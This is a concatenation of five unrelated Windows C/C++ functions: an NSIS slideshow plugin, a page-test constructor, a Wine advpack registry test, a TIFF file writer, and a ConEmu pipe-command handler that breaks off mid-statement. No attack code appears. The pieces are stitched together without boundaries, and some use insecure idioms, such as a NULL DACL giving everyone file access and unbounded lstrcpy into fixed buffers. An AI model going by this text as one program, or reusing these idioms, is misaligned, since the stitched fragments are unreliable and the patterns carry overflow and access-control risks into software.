slide_show(HWND hwndParent, int string_size, TCHAR *variables, stack_t **stacktop) { EXDLL_INIT(); slide_abort(); // argument default values iHAlign = HALIGN_CENTER; iVAlign = VALIGN_CENTER; iFit = FIT_BOTH; g_hWnd = NULL; captionColor = RGB(255,255,255); int duration = 1000; // transition duration in ms (default = 1s) TCHAR caption[MAX_PATH]; caption[0] = '\0'; // parse arguments TCHAR arg[MAX_PATH]; LPTSTR argValue; while(!popstring(arg, sizeof arg) && *arg == '/' && (argValue = StrChr(arg, '=')) != NULL) { *argValue++ = '\0'; // replace '=' by '\0' if(lstrcmpi(arg, TEXT("/hwnd")) == 0) StrToIntEx(argValue, STIF_SUPPORT_HEX, (int*) &g_hWnd); else if(lstrcmpi(arg, TEXT("/fit")) == 0) { if(lstrcmpi(argValue, TEXT("height")) == 0) iFit = FIT_HEIGHT; else if(lstrcmpi(argValue, TEXT("width")) == 0) iFit = FIT_WIDTH; else if(lstrcmpi(argValue, TEXT("stretch")) == 0) iFit = FIT_STRETCH; } else if(lstrcmpi(arg, TEXT("/halign")) == 0) { if(lstrcmpi(argValue, TEXT("left")) == 0) iHAlign = HALIGN_LEFT; else if(lstrcmpi(argValue, TEXT("right")) == 0) iHAlign = HALIGN_RIGHT; } else if(lstrcmpi(arg, TEXT("/valign")) == 0) { if(lstrcmpi(argValue, TEXT("top")) == 0) iVAlign = VALIGN_TOP; else if(lstrcmpi(argValue, TEXT("bottom")) == 0) iVAlign = VALIGN_BOTTOM; } else if(lstrcmpi(arg, TEXT("/duration")) == 0) StrToIntEx(argValue, STIF_SUPPORT_HEX, &duration); else if(lstrcmpi(arg, TEXT("/caption")) == 0) lstrcpy(caption, argValue); else if(lstrcmpi(arg, TEXT("/ccolor")) == 0) StrToIntEx(argValue, STIF_SUPPORT_HEX, (int*) &captionColor); else if(lstrcmpi(arg, TEXT("/auto")) == 0) { lstrcpy(g_autoPath, argValue); PathRemoveFileSpec(g_autoPath); HGLOBAL hMem = GlobalAlloc(GMEM_FIXED, 32767*sizeof(TCHAR)); DWORD count = GetPrivateProfileSection(getuservariable(INST_LANG), LPTSTR(hMem), 32767, argValue); if (count == 0) { count = GetPrivateProfileSection(TEXT("1033"), LPTSTR(hMem), 32767, argValue); if (count == 0) count = GetPrivateProfileSection(TEXT("0"), LPTSTR(hMem), 32767, argValue); } if (count) { g_autoBuffer = LPTSTR(GlobalReAlloc(hMem, (count+1)*sizeof(TCHAR), 0)); g_autoNext = g_autoBuffer; } else GlobalFree(hMem); } } // if target window not defined we'll search for default (the details listview) if (g_hWnd == NULL) { g_hWnd = FindWindowEx(hwndParent, NULL, TEXT("#32770"), NULL); if (g_hWnd == NULL) return; hwndParent = FindWindowEx(hwndParent, g_hWnd, TEXT("#32770"), NULL); if (hwndParent != NULL && !IsWindowVisible(hwndParent)) g_hWnd = hwndParent; if (g_hWnd == NULL) return; HWND hWnd = GetDlgItem(g_hWnd, 1016); GetWindowRect(hWnd, &rDest); ScreenToClient(g_hWnd, (LPPOINT) &rDest.left); ScreenToClient(g_hWnd, (LPPOINT) &rDest.right); } else GetClientRect(g_hWnd, &rDest); // load new image if (arg[0] == '\0') return; // stop here if no filename if (g_autoNext != NULL) slide_NextAuto(); else slide_NewImage(arg, caption, duration); }
CPagetestBase::CPagetestBase(void): available(false) , abm(1) , openRequests(0) , testUrl(_T("")) , timeout(240) , activityTimeout(ACTIVITY_TIMEOUT) , exitWhenDone(false) , interactive(false) , runningScript(false) , cached(-1) , script_ABM(-1) , haveBasePage(false) , processed(false) , basePageRedirects(0) , hMainWindow(NULL) , hBrowserWnd(NULL) , ieMajorVer(0) , ignoreSSL(0) , blockads(0) , imageQuality(JPEG_DEFAULT_QUALITY) , pngScreenShot(0) , bodies(0) , keepua(0) , minimumDuration(0) , clearShortTermCacheSecs(0) , _SetGDIWindow(NULL) , _SetGDIWindowUpdated(NULL) , _GDIWindowUpdated(NULL) , windowUpdated(false) , hGDINotifyWindow(NULL) , titleTime(0) , currentRun(0) { QueryPerformanceFrequency((LARGE_INTEGER *)&freq); msFreq = freq / (__int64)1000; winInetRequests.InitHashTable(257); requestSocketIds.InitHashTable(257); threadWindows.InitHashTable(257); openSockets.InitHashTable(257); client_ports.InitHashTable(257); // create a NULL DACL we will re-use everywhere we do file access ZeroMemory(&nullDacl, sizeof(nullDacl)); nullDacl.nLength = sizeof(nullDacl); nullDacl.bInheritHandle = FALSE; if( InitializeSecurityDescriptor(&SD, SECURITY_DESCRIPTOR_REVISION) ) if( SetSecurityDescriptorDacl(&SD, TRUE,(PACL)NULL, FALSE) ) nullDacl.lpSecurityDescriptor = &SD; InitializeCriticalSection(&cs); InitializeCriticalSection(&csBackground); // figure out what version of IE is installed CRegKey key; if( key.Open(HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Microsoft\\Internet Explorer"), KEY_READ) == ERROR_SUCCESS ) { TCHAR buff[1024]; ULONG len = _countof(buff); if( key.QueryStringValue(_T("Version"), buff, &len ) == ERROR_SUCCESS ) ieMajorVer = _ttoi(buff); key.Close(); } // connect to the global GDI hook if it is present TCHAR hookDll[MAX_PATH]; if( GetModuleFileName(reinterpret_cast<HMODULE>(&__ImageBase), hookDll, _countof(hookDll)) ) { lstrcpy(PathFindFileName(hookDll), _T("wptghook.dll")); HMODULE hHookDll = LoadLibrary(hookDll); if (hHookDll) { _SetGDIWindow = (SETGDIWINDOW)GetProcAddress(hHookDll, "_SetGDIWindow@12"); _SetGDIWindowUpdated = (SETGDIWINDOWUPDATED)GetProcAddress(hHookDll, "_SetGDIWindowUpdated@4"); _GDIWindowUpdated = (GDIWINDOWUPDATED)GetProcAddress(hHookDll, "_GDIWindowUpdated@0"); } } // load some settings that we need before starting if( key.Open(HKEY_CURRENT_USER, _T("Software\\America Online\\SOM"), KEY_READ | KEY_WRITE) == ERROR_SUCCESS ) { key.QueryDWORDValue(_T("Run"), currentRun); key.QueryDWORDValue(_T("Cached"), cached); key.Close(); } // Instantiate the DOM interface that we're going to attach to the DOM for script to interact #ifndef PAGETEST_EXE if( SUCCEEDED(CComObject<CWebPagetestDOM>::CreateInstance(&webpagetestDom)) ) webpagetestDom->AddRef(); #endif }
static void setperusersecvalues_test(void) { PERUSERSECTION peruser; HRESULT hr; HKEY guid; lstrcpy(peruser.szDispName, "displayname"); lstrcpy(peruser.szLocale, "locale"); lstrcpy(peruser.szStub, "stub"); lstrcpy(peruser.szVersion, "1,1,1,1"); lstrcpy(peruser.szCompID, "compid"); peruser.dwIsInstalled = 1; peruser.bRollback = FALSE; /* try a NULL pPerUser */ if (0) { /* This crashes on systems with IE7 */ hr = pSetPerUserSecValues(NULL); todo_wine ok(hr == S_OK, "Expected S_OK, got %d\n", hr); ok(!OPEN_GUID_KEY(), "Expected guid key to not exist\n"); } /* at the very least, szGUID must be valid */ peruser.szGUID[0] = '\0'; hr = pSetPerUserSecValues(&peruser); ok(hr == S_OK, "Expected S_OK, got %d\n", hr); ok(!OPEN_GUID_KEY(), "Expected guid key to not exist\n"); /* set initial values */ lstrcpy(peruser.szGUID, "guid"); hr = pSetPerUserSecValues(&peruser); ok(hr == S_OK, "Expected S_OK, got %08x\n", hr); ok(OPEN_GUID_KEY(), "Expected guid key to exist\n"); ok(check_reg_str(guid, NULL, "displayname"), "Expected displayname\n"); ok(check_reg_str(guid, "ComponentID", "compid"), "Expected compid\n"); ok(check_reg_str(guid, "Locale", "locale"), "Expected locale\n"); ok(check_reg_str(guid, "StubPath", "stub"), "Expected stub\n"); ok(check_reg_str(guid, "Version", "1,1,1,1"), "Expected 1,1,1,1\n"); ok(check_reg_dword(guid, "IsInstalled", 1), "Expected 1\n"); ok(!REG_VAL_EXISTS(guid, "OldDisplayName"), "Expected OldDisplayName to not exist\n"); ok(!REG_VAL_EXISTS(guid, "OldLocale"), "Expected OldLocale to not exist\n"); ok(!REG_VAL_EXISTS(guid, "OldStubPath"), "Expected OldStubPath to not exist\n"); ok(!REG_VAL_EXISTS(guid, "OldVersion"), "Expected OldVersion to not exist\n"); ok(!REG_VAL_EXISTS(guid, "RealStubPath"), "Expected RealStubPath to not exist\n"); /* raise the version, but bRollback is FALSE, so vals not saved */ lstrcpy(peruser.szVersion, "2,1,1,1"); hr = pSetPerUserSecValues(&peruser); ok(hr == S_OK, "Expected S_OK, got %08x\n", hr); ok(check_reg_str(guid, NULL, "displayname"), "Expected displayname\n"); ok(check_reg_str(guid, "ComponentID", "compid"), "Expected compid\n"); ok(check_reg_str(guid, "Locale", "locale"), "Expected locale\n"); ok(check_reg_str(guid, "StubPath", "stub"), "Expected stub\n"); ok(check_reg_str(guid, "Version", "2,1,1,1"), "Expected 2,1,1,1\n"); ok(check_reg_dword(guid, "IsInstalled", 1), "Expected 1\n"); ok(!REG_VAL_EXISTS(guid, "OldDisplayName"), "Expected OldDisplayName to not exist\n"); ok(!REG_VAL_EXISTS(guid, "OldLocale"), "Expected OldLocale to not exist\n"); ok(!REG_VAL_EXISTS(guid, "OldStubPath"), "Expected OldStubPath to not exist\n"); ok(!REG_VAL_EXISTS(guid, "OldVersion"), "Expected OldVersion to not exist\n"); ok(!REG_VAL_EXISTS(guid, "RealStubPath"), "Expected RealStubPath to not exist\n"); /* raise the version again, bRollback is TRUE so vals are saved */ peruser.bRollback = TRUE; lstrcpy(peruser.szVersion, "3,1,1,1"); hr = pSetPerUserSecValues(&peruser); ok(hr == S_OK, "Expected S_OK, got %08x\n", hr); ok(check_reg_str(guid, NULL, "displayname"), "Expected displayname\n"); ok(check_reg_str(guid, "ComponentID", "compid"), "Expected compid\n"); ok(check_reg_str(guid, "Locale", "locale"), "Expected locale\n"); ok(check_reg_dword(guid, "IsInstalled", 1), "Expected 1\n"); ok(check_reg_str(guid, "Version", "3,1,1,1"), "Expected 3,1,1,1\n"); todo_wine { ok(check_reg_str(guid, "OldDisplayName", "displayname"), "Expected displayname\n"); ok(check_reg_str(guid, "OldLocale", "locale"), "Expected locale\n"); ok(check_reg_str(guid, "RealStubPath", "stub"), "Expected stub\n"); ok(check_reg_str(guid, "OldStubPath", "stub"), "Expected stub\n"); ok(check_reg_str(guid, "OldVersion", "2,1,1,1"), "Expected 2,1,1,1\n"); ok(check_reg_str(guid, "StubPath", "rundll32.exe advpack.dll,UserInstStubWrapper guid"), "Expected real stub\n"); } RegDeleteKey(HKEY_LOCAL_MACHINE, GUID_KEY); }
int TiffWriteFrame( int oFile, LPSTR lpFileName, LPOBJECT lpObject, LPFRAME lpFrame, LPRECT lpRect, int flag, BOOL fCompressed, BOOL bEscapable) { TAG tag; int y, bpl, npix, nlin, ofp; LPLONG lngptr,boffptr; LPWORD shtptr; DWORD byteoffset; WORD i, numtags, photomet, samples; BYTE bpp; LPWORD lpRed, lpGreen, lpBlue; RGBS RGBmap[256]; LPTR lp, lpBuffer, lpOutputPointer, lpImgScanline; FNAME temp; RECT rSave; BOOL compressInit; #ifdef STATIC16 // only in new framelib CFrameTypeConvert FrameTypeConvert; FRMTYPEINFO SrcTypeInfo; FRMTYPEINFO DstTypeInfo; #endif lpBuffer = NULL; lpImgScanline = NULL; if (!lpFrame) return( -1 ); ProgressBegin(1,0); if ((ofp = oFile) < 0) bEscapable = !FileExists(lpFileName); if ((ofp = oFile) < 0 && (ofp = _lcreat(lpFileName,0)) < 0) { Message( IDS_EWRITE, lpFileName ); goto Exit; } if (lpRect) rSave = *lpRect; else { rSave.top = rSave.left = 0; rSave.bottom = FrameYSize(lpFrame)-1; rSave.right = FrameXSize(lpFrame)-1; } npix = RectWidth(&rSave); nlin = RectHeight(&rSave); switch(flag) { case IDC_SAVELA : case IDC_SAVESP : bpp = 1; bpl = ((npix + 7) / 8); numtags = 11; photomet = 1; samples = 1; break; case IDC_SAVECT : bpp = 8; bpl = npix; numtags = 11; photomet = 1; samples = 1; break; case IDC_SAVE4BITCOLOR : case IDC_SAVE8BITCOLOR : bpp = 8; bpl = npix; numtags = 12; photomet = 3; samples = 1; break; case IDC_SAVE24BITCOLOR : bpp = 24; bpl = npix * 3; numtags = 11; photomet = 2; samples = 3; break; case IDC_SAVE32BITCOLOR : bpp = 32; bpl = npix * 4; numtags = 11; photomet = 5; samples = 4; break; default : goto Exit; break; } compressInit = NO; if ( bpp == 1 ) { AllocLines( &lpBuffer, 1, npix, 2 ); AllocLines( &lpImgScanline, 1, npix, 1 ); } else { AllocLines( &lpBuffer, 1, max(bpl, FrameByteWidth(lpFrame)), 1 ); AllocLines( &lpImgScanline, 1, max(bpl, FrameByteWidth(lpFrame)), 1 ); } if ( !lpBuffer || !lpImgScanline ) { Message( IDS_EMEMALLOC ); _lclose( ofp ); goto Exit; } /* first location where any extra data can be stored */ /* 10 byte header + all tag data (12 bytes each) + 4 bytes (null ifd) */ byteoffset = 10 + (numtags * sizeof(TAG)) + 4; shtptr = (LPWORD)LineBuffer[0]; SetNextWord(&shtptr, 0x4949); /* byte order is LSB,MSB */ SetNextWord(&shtptr, 0x2a); /* tiff version number */ SetNextWord(&shtptr, 8); /* byte offset to first image file directory LSW */ SetNextWord(&shtptr, 0); /* byte offset to first image file directory MSW */ SetNextWord(&shtptr, numtags); /* number of entries in IFD */ tag.tagno = 0xff; /* tag 0xff, subfile type */ tag.type = 3; /* field type is short */ tag.length = 1; /* number of values */ tag.value = 1; /* value */ #ifdef _MAC SwapTag(&tag); #endif lmemcpy((LPTR)shtptr,(LPTR)&tag.tagno,12); shtptr += 6; tag.tagno = 0x100; /* tag 0x100, number of pixels */ tag.type = 3; /* field type is short */ tag.length = 1; /* number of values */ tag.value = npix; /* value */ #ifdef _MAC SwapTag(&tag); #endif lmemcpy((LPTR)shtptr,(LPTR)&tag.tagno,12); shtptr += 6; tag.tagno = 0x101; /* tag 0x101, number of lines */ tag.type = 3; /* field type is short */ tag.length = 1; /* number of values */ tag.value = nlin; /* value */ #ifdef _MAC SwapTag(&tag); #endif lmemcpy((LPTR)shtptr,(LPTR)&tag.tagno,12); shtptr += 6; tag.tagno = 0x102; /* tag 0x102, bits per sample */ tag.type = 3; /* field type is short */ tag.length = samples; /* number of values */ if ( samples == 3 || samples == 4) { tag.value = byteoffset; /* deferred value */ byteoffset += (samples*sizeof(short)); } else tag.value = bpp; /* value */ #ifdef _MAC SwapTag(&tag); #endif lmemcpy((LPTR)shtptr,(LPTR)&tag.tagno,12); shtptr += 6; tag.tagno = 0x103; /* tag 0x103, compression */ tag.type = 3; /* field type is short */ tag.length = 1; /* number of values */ tag.value = (fCompressed ? 5:1); /* value */ #ifdef _MAC SwapTag(&tag); #endif lmemcpy((LPTR)shtptr,(LPTR)&tag.tagno,12); shtptr += 6; tag.tagno = 0x106; /* tag 0x106,photometric inter.(0 = black) */ tag.type = 3; /* field type is short */ tag.length = 1; /* number of values */ tag.value = photomet; /* value */ #ifdef _MAC SwapTag(&tag); #endif lmemcpy((LPTR)shtptr,(LPTR)&tag.tagno,12); shtptr += 6; tag.tagno = 0x111; /* tag 0x111, strip byte offsets */ tag.type = 4; /* field type is long */ tag.length = 1; /* number of values */ tag.value = 0; /* dummy location of the start of image data */ #ifdef _MAC SwapTag(&tag); #endif lmemcpy((LPTR)shtptr,(LPTR)&tag.tagno,12); boffptr = (LPLONG)(shtptr+4); // make boffptr point at tag.value shtptr += 6; tag.tagno = 0x115; /* tag 0x115, samples per pixel*/ tag.type = 3; /* field type is short */ tag.length = 1; /* number of values */ tag.value = samples; /* value */ #ifdef _MAC SwapTag(&tag); #endif lmemcpy((LPTR)shtptr,(LPTR)&tag.tagno,12); shtptr += 6; tag.tagno = 0x11a; /* tag 0x11a, xresolution */ tag.type = 5; /* field type is rational */ tag.length = 1; /* number of values */ tag.value = byteoffset; /* deferered value */ byteoffset += 8; #ifdef _MAC SwapTag(&tag); #endif lmemcpy((LPTR)shtptr,(LPTR)&tag.tagno,12); shtptr += 6; tag.tagno = 0x11b; /* tag 0x11b, yresolution */ tag.type = 5; /* field type is rational */ tag.length = 1; /* number of values */ tag.value = byteoffset; /* deferred value */ byteoffset += 8; #ifdef _MAC SwapTag(&tag); #endif lmemcpy((LPTR)shtptr,(LPTR)&tag.tagno,12); shtptr += 6; tag.tagno = 0x11c; /* tag 0x11c, planar configuration */ tag.type = 3; /* field type is short */ tag.length = 1; /* number of values */ tag.value = 1; /* value */ #ifdef _MAC SwapTag(&tag); #endif lmemcpy((LPTR)shtptr,(LPTR)&tag.tagno,12); shtptr += 6; if ( photomet == 3 ) // Palette color map { tag.tagno = 0x140; /* tag 0x140, colormap */ tag.type = 3; /* field type is short */ tag.length = 3*256; /* number of values */ tag.value = byteoffset; /* value */ byteoffset += (2*3*256); #ifdef _MAC SwapTag(&tag); #endif lmemcpy((LPTR)shtptr,(LPTR)&tag.tagno,12); shtptr += 6; } // Copy the NULL Image File Directory pointer SetNextWord(&shtptr, 0); /* pointer to next IFD */ SetNextWord(&shtptr, 0); // Copy out the Bits Per Sample, if multiple samples if ( samples == 3 ) // The bits per pixel per sample { SetNextWord(&shtptr, 8); SetNextWord(&shtptr, 8); SetNextWord(&shtptr, 8); } // Copy out the Bits Per Sample, if multiple samples if ( samples == 4 ) // The bits per pixel per sample { SetNextWord(&shtptr, 8); SetNextWord(&shtptr, 8); SetNextWord(&shtptr, 8); SetNextWord(&shtptr, 8); } // Copy out the X and Y resolution fields lngptr = (LPLONG)shtptr; #ifdef PPVIDEO SetNextLong(&lngptr, FrameResolution(lpFrame) * 2); /* xreso numerator */ SetNextLong(&lngptr, 2); /* xreso denominator */ SetNextLong(&lngptr, FrameResolution(lpFrame) * 2); /* yreso numerator */ SetNextLong(&lngptr, 2); /* yreso denominator */ #else SetNextLong(&lngptr, FrameResolution(lpFrame)); /* xreso numerator */ SetNextLong(&lngptr, 1); /* xreso denominator */ SetNextLong(&lngptr, FrameResolution(lpFrame)); /* yreso numerator */ SetNextLong(&lngptr, 1); /* yreso denominator */ #endif *boffptr = byteoffset; #ifdef _MAC swapl((LPDWORD)boffptr); #endif // Write out the tags, the bpp, and the resolutions i = (LPTR)lngptr - (LPTR)LineBuffer[0]; if ( _lwrite(ofp, LineBuffer[0], i) != i ) goto BadWrite; // Write the color palette, if necessary if ( photomet == 3 ) // Palette color map { if (!OptimizeBegin(lpObject, lpFrame, RGBmap, 256, NULL /*(LPROC)AstralClockCursor*/, // No Progress report NO, Convert.fOptimize, Convert.fScatter, Convert.fDither, npix)) goto BadWrite; lpRed = (LPWORD)LineBuffer[0]; lpGreen = lpRed + 256; lpBlue = lpGreen + 256; for ( i=0; i<256; i++ ) { *lpRed++ = (WORD)RGBmap[i].red << 8; *lpGreen++ = (WORD)RGBmap[i].green << 8; *lpBlue++ = (WORD)RGBmap[i].blue << 8; } if ( _lwrite(ofp, LineBuffer[0], 2*3*256) != 2*3*256 ) goto BadWrite; } if ( fCompressed ) { if ( CompressLZW( ofp, NULL, 0 ) < 0 ) /* Initialize */ goto BadWrite; compressInit = YES; } switch(bpp) { case 1 : for( y=rSave.top; y<=rSave.bottom; y++ ) { if (AstralClockCursor( y-rSave.top, nlin, bEscapable )) goto Cancelled; if ( lpObject ) { if (!ImgGetLine( NULL, lpObject, rSave.left, y, (rSave.right - rSave.left) + 1, lpImgScanline)) goto BadRead; lp = lpImgScanline; } else { if ( !(lp = FramePointer( lpFrame, rSave.left, y, NO )) ) goto BadRead; } if (FrameDepth(lpFrame) == 0) { if (flag == IDC_SAVESP) diffuse( 0, i, 0, NULL, lp, npix, lpBuffer ); else con2la( lp, npix, lpBuffer ); } else { ConvertData( lp, FrameDepth(lpFrame), npix, lpBuffer+npix, 1 ); if ( flag == IDC_SAVESP ) diffuse( 0, i, 0, NULL, lpBuffer+npix, npix, lpBuffer ); else con2la( lpBuffer+npix, npix, lpBuffer ); } if ( fCompressed ) { if ( CompressLZW( ofp, lpBuffer, bpl ) < 0 ) goto BadWrite; } else { if ( _lwrite( ofp, (LPSTR)lpBuffer, bpl ) != bpl ) goto BadWrite; } } break; case 8 : for( y=rSave.top; y<=rSave.bottom; y++ ) { if (AstralClockCursor( y-rSave.top, nlin, bEscapable )) goto Cancelled; if ( lpObject ) { if (!ImgGetLine( NULL, lpObject, rSave.left, y, (rSave.right - rSave.left) + 1, lpImgScanline)) goto BadRead; lp = lpImgScanline; } else { if ( !(lp = FramePointer( lpFrame, rSave.left, y, NO )) ) goto BadRead; } if (FrameDepth(lpFrame) == 0) { if ( photomet == 3 ) // If we are storing palette color OptimizeData(0, y, npix, lp, lpBuffer, 1 ); else ConvertData( lp, 1, npix, lpBuffer, 1 ); } else { if ( photomet == 3 ) // If we are storing palette color OptimizeData(0, y, npix, lp, lpBuffer, FrameDepth(lpFrame)); else ConvertData( lp, FrameDepth(lpFrame), npix, lpBuffer, 1 ); } if ( fCompressed ) { if ( CompressLZW( ofp, lpBuffer, bpl ) < 0 ) goto BadWrite; } else { if ( _lwrite( ofp, (LPSTR)lpBuffer, bpl ) != bpl ) goto BadWrite; } } break; case 24 : for( y=rSave.top; y<=rSave.bottom; y++ ) { if (AstralClockCursor( y-rSave.top, nlin, bEscapable )) goto Cancelled; if ( lpObject ) { if (!ImgGetLine( NULL, lpObject, rSave.left, y, (rSave.right - rSave.left) + 1, lpImgScanline)) goto BadRead; lp = lpImgScanline; } else { if ( !(lp = FramePointer( lpFrame, rSave.left, y, NO )) ) goto BadRead; } if (FrameType(lpFrame) != FDT_RGBCOLOR) { if (FrameType(lpFrame) != FDT_LINEART) { #ifdef STATIC16 SrcTypeInfo.DataType = FrameType(lpFrame); SrcTypeInfo.ColorMap = NULL; SrcTypeInfo.DataType = FDT_RGBCOLOR; SrcTypeInfo.ColorMap = NULL; FrameTypeConvert.Init(SrcTypeInfo, DstTypeInfo, npix); FrameTypeConvert.ConvertData((LPTR)lp, (LPTR)lpBuffer, y, npix); #else FrameTypeConvert( (LPTR)lp, FrameType(lpFrame), NULL, y, (LPTR)lpBuffer, FDT_RGBCOLOR, NULL, npix); #endif } else { #ifdef STATIC16 SrcTypeInfo.DataType = FDT_GRAYSCALE; SrcTypeInfo.ColorMap = NULL; SrcTypeInfo.DataType = FDT_RGBCOLOR; SrcTypeInfo.ColorMap = NULL; FrameTypeConvert.Init(SrcTypeInfo, DstTypeInfo, npix); FrameTypeConvert.ConvertData((LPTR)lp, (LPTR)lpBuffer, y, npix); #else FrameTypeConvert( (LPTR)lp, FDT_GRAYSCALE, NULL, y, (LPTR)lpBuffer, FDT_RGBCOLOR, NULL, npix); #endif } lpOutputPointer = lpBuffer; } else { lpOutputPointer = lp; } if ( fCompressed ) { if ( CompressLZW( ofp, lpOutputPointer, bpl ) < 0 ) goto BadWrite; } else { if ( _lwrite( ofp, (LPSTR)lpOutputPointer, bpl ) != bpl ) goto BadWrite; } } break; case 32 : for( y=rSave.top; y<=rSave.bottom; y++ ) { if (AstralClockCursor( y-rSave.top, nlin, bEscapable )) goto Cancelled; if ( lpObject ) { if (!ImgGetLine( NULL, lpObject, rSave.left, y, (rSave.right - rSave.left) + 1, lpImgScanline)) goto BadRead; lp = lpImgScanline; } else { if ( !(lp = FramePointer( lpFrame, rSave.left, y, NO )) ) goto BadRead; } if (FrameType(lpFrame) != FDT_CMYKCOLOR) { if (FrameType(lpFrame) != FDT_LINEART) { #ifdef STATIC16 SrcTypeInfo.DataType = FrameType(lpFrame); SrcTypeInfo.ColorMap = NULL; SrcTypeInfo.DataType = FDT_CMYKCOLOR; SrcTypeInfo.ColorMap = NULL; FrameTypeConvert.Init(SrcTypeInfo, DstTypeInfo, npix); FrameTypeConvert.ConvertData((LPTR)lp, (LPTR)lpBuffer, y, npix); #else FrameTypeConvert( (LPTR)lp, FrameType(lpFrame), NULL, y, (LPTR)lpBuffer, FDT_CMYKCOLOR, NULL, npix); #endif } else { #ifdef STATIC16 SrcTypeInfo.DataType = FDT_GRAYSCALE; SrcTypeInfo.ColorMap = NULL; SrcTypeInfo.DataType = FDT_CMYKCOLOR; SrcTypeInfo.ColorMap = NULL; FrameTypeConvert.Init(SrcTypeInfo, DstTypeInfo, npix); FrameTypeConvert.ConvertData((LPTR)lp, (LPTR)lpBuffer, y, npix); #else FrameTypeConvert( (LPTR)lp, FDT_GRAYSCALE, NULL, y, (LPTR)lpBuffer, FDT_CMYKCOLOR, NULL, npix); #endif } lpOutputPointer = lpBuffer; } else { lpOutputPointer = lp; } if ( fCompressed ) { if ( CompressLZW( ofp, lpOutputPointer, bpl ) < 0 ) goto BadWrite; } else { if ( _lwrite( ofp, (LPSTR)lpOutputPointer, bpl ) != bpl ) goto BadWrite; } } break; } if ( compressInit ) if ( CompressLZW( ofp, NULL, 0 ) < 0 ) /* Terminate */ goto BadWrite; compressInit = NO; OptimizeEnd(); if (ofp != oFile) _lclose(ofp); if (lpBuffer) FreeUp( lpBuffer ); if (lpImgScanline) FreeUp( lpImgScanline ); ProgressEnd(); return( 0 ); BadWrite: Message( IDS_EWRITE, lpFileName ); goto BadTiff; BadRead: Message( IDS_EREAD, (LPTR)Control.RamDisk ); Cancelled: BadTiff: if ( compressInit ) if ( CompressLZW( ofp, NULL, 0 ) < 0 ) /* Terminate */ goto BadWrite; compressInit = NO; OptimizeEnd(); if (ofp != oFile) _lclose(ofp); lstrcpy(temp,lpFileName); FileDelete(temp); Exit: if (lpBuffer) FreeUp( lpBuffer ); if (lpImgScanline) FreeUp( lpImgScanline ); ProgressEnd(); return( -1 ); }
//// Эта функция пайп не закрывает! //void CGuiServer::GuiServerThreadCommand(HANDLE hPipe) BOOL CGuiServer::GuiServerCommand(LPVOID pInst, CESERVER_REQ* pIn, CESERVER_REQ* &ppReply, DWORD &pcbReplySize, DWORD &pcbMaxReplySize, LPARAM lParam) { BOOL lbRc = FALSE; CGuiServer* pGSrv = (CGuiServer*)lParam; if (!pGSrv) { _ASSERTE(((CGuiServer*)lParam)!=NULL); pGSrv = &gpConEmu->m_GuiServer; } if (pIn->hdr.bAsync) pGSrv->mp_GuiServer->BreakConnection(pInst); gpSetCls->debugLogCommand(pIn, TRUE, timeGetTime(), 0, pGSrv ? pGSrv->ms_ServerPipe : NULL); #ifdef _DEBUG UINT nDataSize = pIn->hdr.cbSize - sizeof(CESERVER_REQ_HDR); #endif // Все данные из пайпа получены, обрабатываем команду и возвращаем (если нужно) результат #ifdef ALLOW_WINE_MSG if (gbIsWine) { wchar_t szMsg[128]; msprintf(szMsg, countof(szMsg), L"CGuiServer::GuiServerCommand.\nGUI TID=%u\nSrcPID=%u, SrcTID=%u, Cmd=%u", GetCurrentThreadId(), pIn->hdr.nSrcPID, pIn->hdr.nSrcThreadId, pIn->hdr.nCmd); MessageBox(szMsg, MB_ICONINFORMATION); } #endif switch (pIn->hdr.nCmd) { case CECMD_NEWCMD: { // Приходит из другой копии ConEmu.exe, когда она запущена с ключом /single, /showhide, /showhideTSA DEBUGSTRCMD(L"GUI recieved CECMD_NEWCMD\n"); if (pIn->NewCmd.isAdvLogging && !gpSetCls->isAdvLogging) { gpSetCls->isAdvLogging = pIn->NewCmd.isAdvLogging; gpConEmu->CreateLog(); } if (gpSetCls->isAdvLogging && (pIn->NewCmd.isAdvLogging > gpSetCls->isAdvLogging)) { wchar_t szLogLevel[80]; _wsprintf(szLogLevel, SKIPLEN(countof(szLogLevel)) L"Changing log level! Old=%u, New=%u", (UINT)gpSetCls->isAdvLogging, (UINT)pIn->NewCmd.isAdvLogging); gpConEmu->LogString(szLogLevel); gpSetCls->isAdvLogging = pIn->NewCmd.isAdvLogging; } if (gpSetCls->isAdvLogging) { size_t cchAll = 120 + _tcslen(pIn->NewCmd.szConEmu) + _tcslen(pIn->NewCmd.szCurDir) + _tcslen(pIn->NewCmd.szCommand); wchar_t* pszInfo = (wchar_t*)malloc(cchAll*sizeof(*pszInfo)); if (pszInfo) { _wsprintf(pszInfo, SKIPLEN(cchAll) L"CECMD_NEWCMD: Wnd=x%08X, Act=%u, ConEmu=%s, Dir=%s, Cmd=%s", (DWORD)(DWORD_PTR)pIn->NewCmd.hFromConWnd, pIn->NewCmd.ShowHide, pIn->NewCmd.szConEmu, pIn->NewCmd.szCurDir, pIn->NewCmd.szCommand); gpConEmu->LogString(pszInfo); free(pszInfo); } } BOOL bAccepted = FALSE; if (pIn->NewCmd.szConEmu[0]) { bAccepted = (lstrcmpi(gpConEmu->ms_ConEmuExeDir, pIn->NewCmd.szConEmu) == 0); } else { bAccepted = TRUE; } if (bAccepted) { bool bCreateTab = (pIn->NewCmd.ShowHide == sih_None || pIn->NewCmd.ShowHide == sih_StartDetached) // Issue 1275: When minimized into TSA (on all VCon are closed) we need to restore and run new tab || (pIn->NewCmd.szCommand[0] && !CVConGroup::isVConExists(0)); gpConEmu->DoMinimizeRestore(bCreateTab ? sih_SetForeground : pIn->NewCmd.ShowHide); // Может быть пусто if (bCreateTab && pIn->NewCmd.szCommand[0]) { RConStartArgs *pArgs = new RConStartArgs; pArgs->Detached = (pIn->NewCmd.ShowHide == sih_StartDetached) ? crb_On : crb_Off; pArgs->pszSpecialCmd = lstrdup(pIn->NewCmd.szCommand); if (pIn->NewCmd.szCurDir[0] == 0) { _ASSERTE(pIn->NewCmd.szCurDir[0] != 0); } else { pArgs->pszStartupDir = lstrdup(pIn->NewCmd.szCurDir); } if (gpSetCls->IsMulti() || CVConGroup::isDetached()) { gpConEmu->PostCreateCon(pArgs); } else { // Если хотят в одном окне - только одну консоль gpConEmu->CreateWnd(pArgs); SafeDelete(pArgs); } } else { _ASSERTE(pIn->NewCmd.ShowHide==sih_ShowMinimize || pIn->NewCmd.ShowHide==sih_ShowHideTSA || pIn->NewCmd.ShowHide==sih_Show); } } pcbReplySize = sizeof(CESERVER_REQ_HDR)+sizeof(BYTE); lbRc = ExecuteNewCmd(ppReply, pcbMaxReplySize, pIn->hdr.nCmd, 